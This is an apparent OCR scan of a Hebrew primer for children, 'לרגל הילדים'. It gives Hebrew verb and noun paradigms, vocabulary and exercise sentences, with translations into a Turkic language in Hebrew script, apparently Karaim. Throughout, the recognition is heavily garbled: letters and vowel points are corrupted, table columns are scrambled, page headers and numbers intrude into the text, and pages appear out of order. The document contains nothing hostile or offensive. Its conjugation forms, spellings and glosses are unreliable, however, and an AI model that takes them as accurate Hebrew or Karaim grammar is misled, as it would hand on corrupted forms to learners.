עצ)ד ס
אללהי תורהסי טוגל (קוסור סיז) , דוגרו
תורה ריר .
רבבי שריעתלרי דוגרו שריעתלר דיר .
בז אדם עלם סוור ; או אללהי! וללריני
בילייר וא אנזינדא נרצכּ חורה ואר
ה
רבּכיג איסמי ביר קוותלי בּוּרְג' דיר
רבּבייא ואר קלבּיג - אישאן וא עקלינא
ראיאנמא .
עויו אבימיו אטשא יאנרי .
רבּבי עזיו היכלינדן ריג'אמי אשיטיר .
בו שריעתצילר , אנלר דוגרו שריעתצילר
9%
אוולרלרים ! ילאן ג'וואבלר סוולמאיאסיו
זורא ילאן | גוואבלר = סוליי נלר
ר אולמאולר .
מיללתא דוגרו שריעת שריעת אידיניו
(מיללתא דוגרו שריעת ויריניז) .
סיקלת גונומדא רבביי ארארים..
רבבי סבנלר אִכְּרִי סבינץ גלן) ו .
בן אללהומא אברי קול אים .
פארשאה בבאמא אברי אוולוּ איטרי .
רושמאנלר ירושלם ני זאבט איטרילר וא
אניג קלעהלריני בוורילר .
אללהי3 תוראתי גרצכ טריקת דיר ; אניג
ווללרי חוש יוללר ריר וא אניג ג ו
איזלרי אסנליכ ריר .
)19.(
ברכודאר
14 לרגל הילרים
הַשַמרְנָה, תשמרוני , סאקלאר טייז בּני: חשמרוהו , תִשְמְרוָּה , סאקלארפיניז
9- אני: תתשמרונו , סאקלאר סיניז כיזי ; תשמרום , תשמרון | סאקלאר
סיניז אנלרי .
נְשָמר, גשָמרףּ, עשמרְף) ,
נְשְמרָוּ,
נשְמְרְבָן , פ
" אָב , בּבא : אָבִי יצחק 1 יצחקיג בבאסי , אבי
נאָבִיהו אָבִיהָ ; א
אָבות, בּכאלר, אבות
אָבוּתַיְהַָ ; אָבותִינוּ;
יּ נשְמְרָה
אקלאר איז סיזי; נש
אבינו ; : אִבִיכֶם
שמ .
או נְשָמַהְנָה ,
ם, אֶּכִיבָן ,
אָבותִיכָם
אַבותִיהָםאו אָבוּתָן .
פַּארְן, זאכון .
מִפָיֶה , (נצ) נ', ריג'א ,
תפלה .
תורה , (וצ) תוְראת .
קאנוּן , טריקת .
רְעָה , (וצ) נ', פנאליק ,
כִּמַלִיב .
צְרָה , (שצ) ני , סיקלת,
דארליק.
ּכאָה , (₪שא)נ', מחסול'
איראד +
זְקנָה : (חנצ) נ', קרטליק.
חמה , (וצ) ני, קלעה.
חיפאר .
שמ חָה, (צוצב')נ נ'. סווינץ
סבינץ .
גַבְעה , (צוצ ב )ני .קאי .
שֶמִלֶה , (צזצכ')ני, רובא
אשמה , (צזצ א 4 2 נונאח.
נְסִיבָה, (₪צ) ג', איז, יול
ה , (שצ) נ', עקל,
נעם, (שע ב') ז/-אטליליק,
אייליב .
נַעִים , נְעַ ימה , דראטלי ו
הו .
נשָען , כשָען) . אל על
פלוני, ראיאנדי ,
אישאנדי .
שפָט , שריעת איטדי .
שפט אֶת הָעַם .
חלק | גא שריעת
ויררי . הוה שפָטנִי ,
אללה. בנא
אימדי, הלאם איטד
אללה בני
איטדי .
- שריעת
שריע נתימי
שָלוּם , (ז) ז' , אסנליב ,
בארישיק .
6 איז אני
מָרֶם , נש שָמָרֶן
איז סני נשְמרְהו או
שְמְרְבֶם /
,| סאקלאר אי אנלרי .
, בבאם: אָבִיך , אִבִיך ; אָבִיו
אֶבִיהָ , אָבִיהָן ,
התלמידים ; אָבותי; אָבותְיָך. אָבותיך, אָבותיו ,
, אָבוְתִיכֶן;
; אַכותִיהֶםאו אָבוּתם ,
מקום, (יהיד ַצ,רי מקומות
שצ) ד .יָיר. מָכּאן.
לשון , (יחי ץז , רי לשונות
שצ) 1" נ' ליסאן +
דיל .
גר , (יח' זץ. ר' נָרטת
נצ ד') נ, אינדיר.
לב , (יח' צצ ב' : ר' לבות
קלב יוּרכ
זנצ) 77
וגול .
מִטָה , (שצ א' רב' מטות
זר ) צובוכ, טאיאק.
.
מְּאֶנֶה, (יח' ג ר' פְּאָנִים
1 זי , אינג'יר רירגי,
אינגייר (מייבא
ָָ , (חיעץ א' , רגי
חרְבוּת צזצ א') נ'י
כולונ' :
לרגל. הילדים 3
ישָמר , וְשמְרְנִי , סאקלאר בני + יבר , (ישמרף) , ישמלך , סאקלאר פני :
ישמרתו או יַשְמַרְנוּ אי ישָמָרו, ישְמָרְהָ אי ישמרְנָה סאקלאר אני:
2 : | סאקלאר. ביזי ; ישמָרבָ ם, ישמְרְכָן / סאקל לאר סיזי : ישמָרֶם
ישמרן, סאקלאר. אנלרי . >
תִּשמר תִשָמְרְנִי , סאקלאר בני; תָשָמֶרְף (תשמרף) , תַשְמְרךָ סאקלאר סנו +
תשמְרְָהו או תִשַמְרְנוּ או תִשָמָרו, תִּשַמרָה אי תִשְמְרְנָה, פוקלאר אני :
תשמרנו ו ביזי ז י תִּשְמְרְבֶם ם, תשמרְכן | סאקלאר סיזי ; תשמרם /
תּשָמרן , ס קלאר אנלרי ; :/
תשבר . תִשמְרְנִי , סאקלאר סין בני< תשְמְרְהוּ אי תשמְרְנוּ , תשמרה או
שכר *י1': 0 ש
תָשָמָרְנָה , פאק קלאר סין אני ; תשְמְרְנוּ , סאק לאר סין בּיוי; תִשַמָרֶם ,
תִּשְמָרֶן , סאק? כלאר סין אנלרי . ל
תִּשְמְרִי, תִשְמַרִינִי, סאקלאר סין בני; תִשְמָרִיהוּ 8 סאקלאר סין. אני ;
תשְמרינו . סאקלאר סין ביזי ; + תשמרים, תש שְמָרין , פ אקלאר סין אנלרי .
אֶשמר , אָשמָרך, גאֶשְמְרְך) אשְמְרֶך, סאקלאר אים סני: אָשְמַרְחו או אַשְמְרָנוּ,
אִשְמָרְהָ אי אָשְמרָנָה , סאקלאר אים אני אָשְמַרְכֶם אַשָמָרְכן סאקלאר
אים סיזי: אָשַמָרֶם , אַשמרן , סאקלאר אים אנלרי - .
ישמרו , ישמרוני 5 סאקלאר לר בני; : ישמרוף ' יש שמר מרוף סאקלארלר סני : ישמרוהו
1
ישמרוה ; סאקלאר לר אני ; ישמרו ו סאקלאר לר ביזי ; ישְמָרוּכֶם
ישמרוכן , סאקלאר לר סיזי ; ישמרוּם , ישמרון , סאקלאר לה .אנלרי .
תשמְרְנָה, תשמְרוני , פאקלארלר בני: תשמרוף , תַשַמרוך , פאקלארלר סני,
תשמרוחו. , השְמְרוה | סאקלארלר אני ; תשמרונו , סאקְלְאַרְלר ביזי ;
תשמרוכֶם , תִשְמְרוּכָן | סאקלארלר כוזי: תַשָמָרוּם , תשמרון '
סאקלארלר אנלרי .
תִשְמָרוּ , | תַשמרוני , סאקלאר סיגיו בני + תשמְרוּהוּ , תִשמְרוְהָ , סאקלאר סיניז
אני; תשמרונוּ , סאקלאר סגיז ביזי : תִשְמָרוּם , תשמרון ,. סוקלאר
סיגיז אגלרי .
12
לרגל. הילרים
(צא ג | עזת ך6
חַרְפָּה הלוק , חרבה, ויראנאליכ
ב ד 6
רפת אס . ְָת. עלס
שם יחיר | שם יחיד
לנקבה
רפת | | חַרְפַתַך | | חִרְבָּתְף = | תִרְבְּתךָּ
הֶרְפַתו = | חרְפָתָהּ | |חָרְבֶתו = | תִרְבְתָה
| | חפנו | חְָפֶתנוּ | חָרְבְּתְנוּ\ | חֶרְבְּתְנוּ
3 | | תִרְפַתְכֶם | תִרְפַתְכָן | חַרְבְַּכֶם | חִרְְַּכן
ִרְפָתִי = | תִרְפָתִי | | חִרְבָּתִי = | חַרְבָּתו
| |ַפְֶם | הַרְפתן = | הַרְכָתָ | סְִבּן
לן ד ד ]
שם רבים | שם רבים
נפרד | חַרְפות כורליקלר . ח-בות , ויראנאליכלר; ,
נסמך | חָרפּות אֶדֶם.. חדבות ירושלם .
לזכר לנקבה | לזכר /' לנקבה
0 ירש וו לוקו ותיי ו
חִרְפוּתִי | חָרְפוּתִי | | חֶרְבוּתִי = | מִרְבוּתִי
חַרְפותָיָף. | חָרְפוּתַיָף: | חָרְבוּתי | חַרַבוּתיף
חַרפותיו חַרְפותָיהָ חר ₪ בותיו חַרְבוּתְיהָ
חרפותינו חָרפוּתִינו חרְבותִינו חרבו תינו
הרפותיכם חַרפוְתִיכֶן חָרְבוּתִיכֶם חָרְבוּתִיכֶן
חַרְפוּתִיתֶם חרְפוּתָיהָן הַרְביתִיהַ חַרְבוְתִיהָן
לרגל. הילדים 141
| 2 ץזא א' 4 זא ב'
נפרר ור | מַלְבָה, מנה: | | ש מלוכה + שֶפַחֶה, חלאייק ,
נסמך מַלְמַת שְבָא , שפָחַת רָתָל .
שם יחיר משט ריר | | הדי שש א | שם יהיר
0 לר לנקבה | לבר || לקה | לער | שקה | לוּכֶר לנקבה
|
מַלְכּתִי | |ַלְבָּתִי = | שְפְחָתִי -
מִלְכָתֶף | | מלְכָּתַף | | שפְחלְף | | שְפָחְתַךָ
מלְבָתוּ = | מַלְבָּתָהּ = | שִפָמָתו | | שָפַחְתּ
לתו | מִלְבְּתָנוּ | | שפתנ | שֶפָּחְתֶנו
מלְכַתְכם | מקְכתְכָן = | שפְחהְכם | שְפְּחְֶַן
מַלְבּחֶם | מַלְכָתן = | שִפְחְתֶס | שָפְסֶֶן
666 0 ₪
שם רבים שם רבים
נפרר | | מלְכות , מליכה לר שפחות , חלאייקלר .
נסמף | מלְכות שְבָא . שפחת רחל .
| לזכר | לנקבָה | לזכר | לנקבה
מַלְכוּתִי = | מִלְכוְתַי = | שָפַּחתִי = | שָפְחותִי
מלכותִיך | מלְכותיך | שפחותיך | שפחותִיךּ
מִקְכותָיו | | מַלְכותְיָה | שָפחותָיו | שָפְּחותָיהָ
מלכותינוּ | מַלְכותִינו שפחותינו שפחותינו
מלְכוּתִיפֶם | מלכותִיכֶָן שְפחותִיכָס שָפְּחותִיכָן
מַלְכותִיתֶם ] מַלְכותִיהָן שפחותִיהָס ם | שָפַּחותִיהָן
66 25.2 - 50\
120 קרגל היכדים
דבר שקר , ,. ילאנג'יליק פזזי.. ילאן וז..
בֶּנְדִי. קרש , = שיוליכ רובאלרי , עזי רובאלר .
דבְּרִי ישר ,= רוגרוליק סוזלרי , דוגרו סוזלר .
אָבַן חן , דילברליכ טאשי, דילבר טאש, (פחאלי טאש)
הר קדשי , | עזיו דאגים .
ים קדשי , עזי נונים .
בִּית קדשנו , עזיו אבימיז .
כָּסָא קדשו , אניג עווז הַהְתי .
משפטי צַדְכן, אניג? דוגרו שריעתלרי .
מגדלִי עזו , | אניג קוותלי בורגילרי .
בית תִפַלְנוּ , ביזים תפלה אָבימיז ,
ימי זְהָנָתִי , = בנים קרמליק נונלרים .
(- ו
ו
זוא | שם יהיר | שם רבים
נפרר | - כַּלָה: גלין. בת .
נסמף ַּלַת ָצָתַק . לת תק .
| לזכר | לנקבה | לזכר | לנקבה
בַּלְתִי ַּפָּתִי ָּלוְתִי ּלותִי
3| פלש | |כסך | |כלתך | |כלתף
₪ ||כלת | |כלְתָה = | כלותיו = תָי
לתו || כְּלְתָנּ | | כּלוּתנוּ = | כלותונו
בו
3 )| כִּתְבֶם = | כּלתְכֶן = | כלותיכס = | כּלותיכן
₪ | כל | כל = |כּלותִיקם | כלותיקן
לרגל הילרים 139
איסָאגיז סיוא דא מרחמת אולונור (סיז דא מרחמתלניר סיגים ,
מועללימלריני כְּפר וא רסוי אידן תלמידלר קרנישלי דיר. שרה: סניג
סורובלריג בּנים סורובלרימדן צוק דגיל דיר , אישלרי פנא אולאן אדמלר
ברכודאר אולמאז לר (אלגישלנמאז לר) , אישלרי פנא אולאן חלאייק
בּנים אָבימרן סורגון אולוגיר . אישלרי איי אולאן גלינלר אלגישלנירלר.
בּיזים שתר פכ מובברכ שהר דיר . סייג שהרלריגיז 5כ מיבברכ
שהרלר דיר. שרה: סן חצאן קוגיאני3. (אִיש) אָבינדן סורגון אולונדיג ז
שרה : סן חצאן קוגיאגיג אבינדן סורגון. אולונג'ק סין + אישלרי איי אולאן
קרי קוג'אסיניג אבינדן סורוּלמז.. בו חלאייק קוג'אפיניג אבינדן סורגון
אולונמיש ביר קרי דיר . אללהיג ישראל גא איטדיגי אישלרי וא אייליכ לרי
גָא ביוכ דירכנא ביופ אולדו לרא אללהים | בּני ישראל סני אינבּאר אימדילר,
סן אנלריג אזגונא דגיזי יארריג',. קרדשים. אזברדא אודונלר פארלייר, בו
אודונלרי קרדשים אורמאנדן גטירדי וא בּן אנלרי פארלרים (יארדים) .
בו קאטי אודונלר יאריליר מי+ קרדשים אגזיגי א וא אללהי5 צוק אייליכ-
לריני וא בּיוכ אישלריני ביזא צבּיכ נקל אַיילְא (חכאיית איטמייא מִזֶלָא).
חכם קלבִּי-בּיר דרןדגידדיר.. בּניישראל-אללהי אינכאר אידן ביר מיללת
דיר. דגיזלר פכ דר[ דור . חכמלריג ג'וואבלרי רגיז גיבּי דר[דיר , נאסלי
כּי בו תלמידלר אוולא דא אנלריג מועללימקרי בנאית עקללי דיר .
סווליין בּנים אגזים דיר . קיזקרדשים: נאסלי ייגי רובאלריני צַביכ יירְטרי2 ?
שרה ורבקה: סיזא ראסט גלן קאזאלרי ביזא צביפ נקל אידיגיז וא ביורן
ביר שיי גיזלמייאסיז. ביז סיוא קאזאמיזי נקל אידר איז וא סיזדן כִִּר שיי
גיולמז אוז. קלביניזי פאכ אידיניז וא אללהא עיבאדת (תיזמת) איריגיו,
קוותיגיז וא סיגינציניז או דיר ,
0 8
מְשָפָט , () ז' שריעת . רק . (חז ב'). הגרוליק .
. , 1 . ,
שקר , שקר (טו ב') ז' ילאן , קְדָש , (צ+ א') עזיוליב .
שר , (חו א'10 הוגרוליק . חן, (4 ב') שירינליב דילבּרליכ.
זקנה , ג' / ַרְמְליק . הפר , ריג'א (אללהא) תִפַלָה ,
משפט אמת , גרצג שריעתי , דוגרו שריעת .
%)]) :₪
מִשָפט צָדָק , הוגרוליק שריעתי , דוגרו שריעת .
%
1% לרגל הילרים
גּם אתן . ארור התִלְמיד המחרף את מלפדו . בל כּמִשָנָהו נְּורִי כ
הָוּ . אַחותִי ממָאָנת ללמד אֶת אֶשָר אָמָר לָהּ למְרָהּ, ְכַרִתּנִי, בְּתִּי ,
כִּי לא לא לְמַרְת חַבְמָה וּמּמָר. .
דברי פי חכם עַמְקִים. אם לא תִנְרְשּ את אויבכם אתם תְנְרְשו
מפניהם , אופני העגלה. עָגְלִים . אם לא תְמָאָנו ללמד את אשר אמר
מלמרכם תענשוּ. מחר.. בָּרְכוּ, עמִים, אלהינו . אחינו ואחיכם אנשים
מִברְכִים הם. להם גנים וכרמים עדרי בקר ועדרי צאן ובנים מַלְמָרִים
היטב, בנים אשר מראיהם כמראה בני מל . בַּרַכוּ יהוה כל מעשוו . מה
גדְלוּ מעשיך, יהוה! . מפרי. מעשיף תשבע הארץ . מכסה אהלנו לבן
וככסח אהלכם שחור . אחל דודי רחב ומכסהו יקר. מאד . דורי עשה
לאהלו מבסה עור .. במרעה טוב עה רוענו את מקננו . הָרְעִיט הְָעִים
האלה אַבְּדוּ את צאננו . אתם רְעִים מאבדים את הצאן . אחותי: רעיף
אנשים רעים. הם יאבדו את צאנך , בצאננוובבקרנו נכבר את יהוה .
האיש הוה בקר הוא רעה. את בקהנו. בני ישראל כחשו ביהוח: מְהָרוּ
שכחו מעשיו. אל תכחשו לפ העבד חוה גם גגב וגם כחש ,
הצופה עמד על המצפה . הצפה עומר על מצפהו.אחיו צפה אתה ועמד על
מצפף כל הימים. אחי ! לכ מה אינכם מגרשים את הרשעים האלה מעירכם ז
אחי: עד מתי לא יגרשוהגנבים האלה ו א
האמה ההיא מביתף למה נְרְשֶה האמה הואת מבית דודי+ היא חרפה
וגדפה את בני דודי ובתו ועל כן היא מגרשה מביתו .
יוסף וא שמואל ביזים ם קרדשלרימיו' דיר . נאסלי כּי אנלר אוולא דא
אנלריג קוללרי קוותלי ג בר דיר . דוד ויצחק מסר דן סורולמיש ביר
פוקרא כישייג אוולדלרי דיר . נאסלי כּי אנלר אוולא דא אנלריג קרדשלרי
טנבל דיר וא חיזמת אידמייא איסטמיירלר, -אניג. איצון ו ביר
כימסא נחק אילן) דוטמאיא איסטמדי, אנלרי סניג קרדשיג דוטדי , אממא
או אנלרי - יארין בּאגינדן סורגון אידר. נסורֶר, קוואר) .: אגר בו קוללר
פניג אישלרִי:י כָפַר וא רַסוי אידמכ איצון אגזיני אצאר איסא כן אנלרי
אבימדן פורגון אידר אים (קוואר. אים. סורר אים) . אגר בו מסרלילר
פאדשאהימיזיג ביוכּ אישלריני בָּפֶַר אידר איסא לר ביזים מופראנימיז דן
סורגון אולונור לר . קיזים! כו חלאייפי אביגדן סורגון | איטמייא צביכ
אולמא זירא או זיירכ דיר . קיזים + סן נא איצון מועללימיג סגא אמר
איטדיגיני = צביכ אוגרנמייר = סין צרנטייא צביכ :אולמייר סין) +
שרה ורבקה ! בו אוכסוזלרא מרחמת אידיגיז . אנר אנלרא מרחמת אידר
קרגל הילדים 1317
בִּית יִשָרְאֶל בַּרְכוּ אֶת יְהוָה .
יְהוֶהזבְרְניבְרֶָ, יר אֶת בִתישְרְאֶל,
יבָרְךְ אֶת בִּיח אַהַרן .
ְּמוף כָּמשָה פַּבַר פָה. וכבר לשון .
כב כ כַּבְרִי פָה וְכְְרִי לשון.
לא אָפְפַּח פִּי ולא אֶרְבֶּר מָאוּמַח .
פּי יסְפֶר חסרי אלה .
פּחַח פִּיף וְסַפָר חַסְרִי לינו חגרולים .
הבית מֶלָא מְפָּח אֶל פָה .
ישראלינ אָבי (ישראל מיללתי) רבבי מַרְחָ
איריניו .
רבבי סאנינדי בּיזי , אלגישלר (ביז ,
אלנישלר ישראלינ אביני , אלנישלר
אהרן ניג אבינ (וורעייתיני) .
סן משה ניבי אניר אניזלי וא אניר דיללי
סין .
סניג אוגלנלריג כנים = אוגוללרים. ניבי
אגיר אגיולי וא אגיר דיללי דיר .
אנזימי אצמאם וא בִּיר שיי סוולמֶם .
אגזים אללהימי1 אייליּלריני נְקְלָ אירר
אזויני אץ ואי אללהימיזי ביופ = איוליכ-
לריני נקל אִילָא .
אב אניו דן אגיוא (נינג'א גינְג ) דולו דיר .
הַיכְלִי חַמָלְךָ מְלְאִים מִפָח אל פָּה . פארשאהיג. סראיילרי נינג'א נינג' דולו
ריר .
פָּה אל פָּה רַבָּר הַפֶלְךָ את אבי . פארשאה בּבאם אילן אניו אניזא לאקיררי
איטדו .
מִהֶרו בָנִי ואסרו אֶת סוּסיבֶם בַּעָנְלָה . אֶחותִי ! מהרי קתפר לי מָעִיל
צָמָר . אחי : מַהָרוּ בקע אֶת הָעָצִים הָאֶלָה. פִיבֶס אל יְמַהֶר לְדַבּר דּבָר
רע על אַחִיכֶם . גָּרָש אֶת ה הת וְאֶת בֶּנָהּ . אַל תִּמַהְרוּ לרש
את עַבְדִיכֶם בַבָּתִיכֶם . אִם תרחַמו על עַבְרִיכֶם ג אַתֶּם תִרְחָמוּ . אַחותִי
מָאָנָה לְתְפר לי מעיל חָרֶש. שֶרָה רבקה ! למַה נ מִמָאָנות אַתּ לְמְבּר לי אֶת
מלנכָן + כשמואַל בִיצְחַק מִמָאָנִים ללמ אֶת אֶשֶר אָמַר מַלְמָרֶם אֶתָמַל ,
וד כַּשָלְמה מִמָאֶן לפת א אֶת פָּיו וְּסַפַר. לי אֶת אֶשָר רְאֶה הים ,
האויבים אֶשֶר חרפו את יְשְרְאֶל חרפו גם אֶת יְהוָה. יהוה יאב אֶת כָּל
הַמַתְרְפִים וְהַמִנדְפִים אֶת שמ הקדוש. אֶת מִי חַרפַת וְגִדַּפַּת אַחותי !
ּמַרַאך ְּמִרְאה בַּת מַלַך . כִּי רָאָף ערב ופה . אַתָה יְהוָה מחִסִי. המלך
בְּמַח בִּיהוָה הא מַחְסָהוּ. אֶל תרפ וְאֶל תִנִדְפוּ אֶת ביס ה
המֶלְךְ כְּמְִרָה הְעָבָר. אַחותִי: מַהַרִי ספּרִילִי את הַמִקְרָה אַשֶר כְרַה לָך. אה
מָאָן לספר לו את ט מקְרַהווגם לא פתח אֶת פיו (פִיהו) . אַחי! אל תִנְהַוּ אַת
צאנכט אַחַר הַמִדְבָּר . שָרָה ורבקה: אַם תְרַחִמְנָה על הֶעָנִיִים. תִרְחַמְנָה
(חלק. ראשון) .15
146
ו : מחזה מְתַכֶ ללקט שת חָרֶ
אֶשָר כננו ?
בְּמוף כְּאְחיךּ אַפָם מְהַרְתֶּם לְלמד אֶת
אַשֶר אָמַר לָכֶ מְלַמְְּכָם .
עברו אֶת וְהוָה, הוא יָמָהַר לְטָהר אְֶכֶס
| מכל פָּשְעִימֶם .
בְָּחֶם אכ על בָּנִים יָרַחֶם יְהוָה עַלִינוּ .
ענו נָּהרָסוּ וְנְהפּכי לְמְרְבר וּלְמַרְעָה
עררים
בי שאל מ
כִּי הוא נַרָש מִפָנִירֶם אֶת כָּל עִמִי
ארץ של י
ּל עמ רֶץ קען נורְשו מִפּנִיְנייַשְרְָל.
הבורע כל אבם.
נְכורונו ָּמַהָ הרו כְנְרָש מָאַרְצָנו אֶת כְּרָ
אויכינר -
ְני ישְרְאל יַרְחָמִי אם שבדו אֶת הוה
אֶלי הוהם. באמ וּכְכָל לט .
ִּירוּשְְיָם כְּפַרְשִיש נָרולָה וִפָה מָאד .
כּשָרָה כִּבתָףּ הְּכרְךְ ,
ְּרועִי מִקנִי כָּרוְעִי מִקניף נהנו את הצאן
צחר הַמַרְבָר :
נים אעלום ! גא
ְיאֶת הוה אֶלְהִיהֶם
לרגל. הילרים
בו (נאסלי) = בחצאמראבי
נארלרי רוושירמייא טולריג (צביכ
דוושיררין) ? ו
נג'א סן אולא רא קררשי!, סז
מועללימיניו אמר איטריגיני. צבּיב..
אוגרנריניו .
אללהא חיזמת אידיניו . או סיזי ג'ומלא
גונאחלריניודן צביב פּאכ איר
בּכא. אוולר | לר אורינא (אוולדלרא)
מרחמת איטדיני ניבּי רבְּבי אוזרומיזא
(ביזא) מרחמת אידה. .. ,
שהרלרימיז. בוזולדילר וא יבאנא וא
סורובלר אוטארינא דונדילר .
ג'ומלא בני ישראל רכבי ' אללהלריני
אלגישליירלר (מָדַחָ אידיירלר) זירא
או אנלרי1 אוגונדן ג'ומלא פּנען טופרא-
צוניג: מיללתלריני כוררי (קוודי) .
כנען טופראניניג ג'ומלא מיללתלרי בני
ישראליג אוגונרן קוולרילר .
כניישראל טופרקלרינרן ג'ומלא דושמאנ-
לריני רָפַע אודרלר .
ביזים ג'בּבּארלרימיז טופראנימיודן ג'ומלא
רושמאנלרימיוי צבּיכ רַפַץ איררלר .
בני ישראל מרחמתלניר לר אגר רבכי
אללהלרינא סאדיקאנא וא ואר קלפלרי
אילן חיומת אירר איסאלר + .
כנען טופראני כ אלנישלנמיש (מוּבְבְרכ)
טופרק ריר .
נַסלי כי ירושלם אוולא רא הרשיש ככ
ביוכ וא דילבּר ריר .
נאסלי כּי שרה אוולא רא קיויג אלנישלניר .
נאסלי כּי בּנים | סורובלרימינ צובּאנלרי
אוולא רא סניג סורוכלריניג צוכאנלרי
₪ וו ובאנינ אררונא נוטורדילר
אפר , גְייבּ אוטדי .
מהך , שַז אולדו, מִזְלְדי
צביכ אולדו , צַבּיכ
' איטדי .
מַאן , איסטמדי .
חָרֶּ , בר איטרי .
גד , ב אשרי | לפ
איטדי, סוכרי .
ְּחַך , ניזלדי, אִנְכַר
אמדי.
מצַפָּה ; (זא) ד , אוכסכ
== = ייר נרדן כּי קראבול
ייר + = קראבול
בורגיי .
מַרְאֶה , כוא) זי כורום.
| קייאפת , צהרא ו
| (ציראיי) .
מִקְרֶה , (1א) ז' ראסט
גליש, קאזא, דושוש,
אוצור .
צאן, (ע) קייי ינ איצון)
שלמה ! בְּמוף כַּעְחִיף חִכָמִים אַתֶּם .
כּשֶלמה כַּאחיו ְבּרִיםהם .
עה מִקְנִי רועה מִקנף >
ְּמְעשָי שיש רְשַע.
ּמרְאף ראה בּן הל ("גיל הל
בי מְהֶר לכתב אֶת כִכְסְבִי.
לרגל" הילדים
בחש, אִינְכַּר איטדי, ילאן ,
סוולדי .
טהך , פּאכ איטדי .
גרש , סורָרוּ, כווְדִי, (קרי
אוצון) אַיירְדִי .
קרה , רַאסְט = גלדי.
רְעה , גוּסָדִי .
עַכַר , (שכר , יָעכר)
צאייפאדי .
בק ל (ץ), סיגיר. כ יט
איצון) .
(3 ב') סיגירג'י .
טווארצי .
בוקר ,
מַרְבָּר , (₪) ז . יבאן .
אֶרף (אַרְכָּה , אַרְבִּים '
אַרְכּוּת) אוון .
עמק , (עמקה , עמקים ,
עָמְקוּת) , רק .
15
הג | נוטורדי . גונדורדי
| האיידאדי .
בקע , יארדי, פארלארי .
מִרְעַה , (3₪ א)זי אוטר'
| אוטלאק ,
מַחִסָה, 219 א6 ז, סיגינץ.
מַכְסָה , 31 א') ז', אורטו.
רועה ([1א א) ז', כּומוג'',
= צובאן. וּ
צופה , (311 א') ז', באניג'י
קראבול.
עגל , לח ְעְלִים ,
עגלות), וגרפ .
פַּרְעַה , - פַּרְעת = מפֶך
פאדשאהלרינא וירילן
אד) .
ַּעַן , כנען, (מיללת אֶרִי).
ו
טופראגי .
תרְשִיש , תרשיש, (ביר
ביו3ּ משהור-שהריג
אדי .
שלמה ! ניג'א סן אוולא דא קררשינ סיו
עקללי סיניו..
נאסלי כּי שלמה אוולא רא אנו קררשלרי
ג בּבּאר דיר .
כּנים סורובימינ צוכּאני סניג. סורובינין
צובאני ניבי דיר .
סניג אישלרינ יראמו כּישינינ שישלרו נוכי
דור .
סנין כורומינ פארשאהין אנלוניג כורומו
בי ריר .
אונלום מכתוכלריני יאזמייא טוְלְרִי , (טו
ואזרי) .
14 לרנל תילרום
פּעל
דחה
רחם מרחמת איטרי, אִג'ידי , 1 רהם, מרחמת אולונדו, אגיילרי,
לוכר | לנקבה | לזכר | לנקבה
רְחָם סט | רחמה רְחם רְחָמָה
חַמְת = | רחמ ְחַמְתּ = | רְחַמְת
ְחַמְתּי |רְחִמְתִּי |רְחַמְתִּי | |רחמתי
2 רחמו רחמו | |רְחָמו
רְחַמְתָּס | רחמתָן רְמִמְקָּם | רְחִמְתן
7 רְחַמנו רחמנו רְחִמָנוּ
יח = | תִרְהָם רחַם | | תִרְחָם
תת = | תִרְחָמי תָרָחַם | | תרְחָמִי
אֶרְחֶם אַרְתֶם אֶרָחם | | אֶרְחַם
יְַחָמוּ תַרְתְמְנָה רחמו תֶרְחִמֶנָה
תְרחמוּ | |תִרְתַמָנָה תִּרְחָמוּ = | תִרְחַמְנָה
נרַחַם | |נִרתַם לח | |נרֶָם
רחס | | דחמ
ִחָמוּ | | רחַמְנָה
מלחמ ד מדחמה וק" מַרְחֶם ב
מַרְחָמִים = | מִרְתָמות מִרְחָמִים מִרְחָמות
נפרד ברחה . ו
נסמף רחם
לרגל | הילדים 3
על
,וו
ברְך אליגישלרי . בּרך , אלנישלנדי .
|
|
|
לזכר | לנקבה | לזכר | לנקְבָה
ה ספה ברך בּרְכָה
+ | בְרְכְת בְרְבְתָ ברכ בּרַבְת
בּקפ | | בּבְמתי בּרַכְתי = | ברכתי
הרְכו בּרְכו פרבן ברכו
₪ | בּרַכְתָם| | | בִּרְכְתָן בּרְבמֶּם | ברְכתֶן
כו בְּרְכְנו בּרכנוּ = | ברכנו
2 תִבָרֶךּ ָברףּ חברף
תבר תברכי תִבְרָךָ תברכי
| : זון יי 4 *
אָכָרֶך א אָבְרְךףּ אִרָף
יברכ תברכנזז יברכו תּברְכנָה
: זןן 0% , :ד 1-1 רי
בר | | תְכְֶנָה = | תְברְכוּ = | תְִרְכְנָה
סד (|בָד- | | | בה
פד | |
| בה
+ 6
6 650
מִבָרֶךּ מברכה ברְכת). | מִברֶך מְברְכָה (ככת)
ה ; צדן ד ו" 4"
לְכָרְכּים | | מְבָרְכוּת = | כְכרְכִים = | מְבְבָכות
₪
? | נפור בָּרְךָ
₪ | נסמה בר
.0 א -/-/- שמש
132 לרנל. הילדים
₪ ררה הי
א | שם. יהיר | שם: רבס
נפרר | | קנה סוהוב , מאל מקנים
נסמך | | 5קְנָה אִבְרָהֶם . מִקְנִי אַבְרָהֶם .
| = לזמר | לנקבה | לזכר | לנקבה
מְקנו = | מקני- = | ספני << | סקני
-
ב(|מעך | |פשך |מקעך = | מהנך
₪ || מקנתו = ומקְנָהּ מקניו מִקְנִיהָ
| מקננוּ | מַקְנוּ | |מְקניטּ = | מקנינו
₪ 5% - י \ . .
3 | מִסְְכס = | מקנקן | | מִסְנִיבֶס = | ממניכן
₪ | סקם | | לקמ = | מִקְנקֶם = | מקניקן
זא ב'. מַעַשָה , אוש , מַעַשֶה אלהים , אללה<. אישי. מעשי : מעשך.
מעשף : מעשהו , מַעשָהּ ; מעשנו ; מִעשְבֶס. מעשְבֶן ; מעשם ,
מעשן ,-- מעשים : מעשי לחי + מעשי + מעשיף , מעשיך :
מעשיו, מעשִיהָ; ; מעשי נוּ: ; מִעָשַיכֶם , מעשיבן ; מִעְשִיתֶס , מעְשיתָן.
יאח, קרדש : אַחי יוסף, יוספיג קררשי . אֶחִי; אֶחִיךְ , אַחִיך ; אחיו גאֶחיה ,
אֶחִיהָ; > אֶחִינוּ; | אֶחִיכֶם , אחיכן 7 ; אֶחִיהֶם . אַחיהן , - אחים ; אַחי יוסף ,
אחי שח : אחיך , אחיך ; אֶחִיו, אחיה + אחינ + ֶחִיכֶס , אחיכֶן:
אֶחִיהֶם , אַחיקן י
אניו. פי החמור , פִּי ; פיה , פיך ; פַּיוו פיהו פיה פִינוּ; פיב פִיכָן:
לרגל הילרים > 11
עורה שוכב . מלבי: חמול-עליועזור לי, כי נער יתום ודל אַגְבִי : מלבי ו
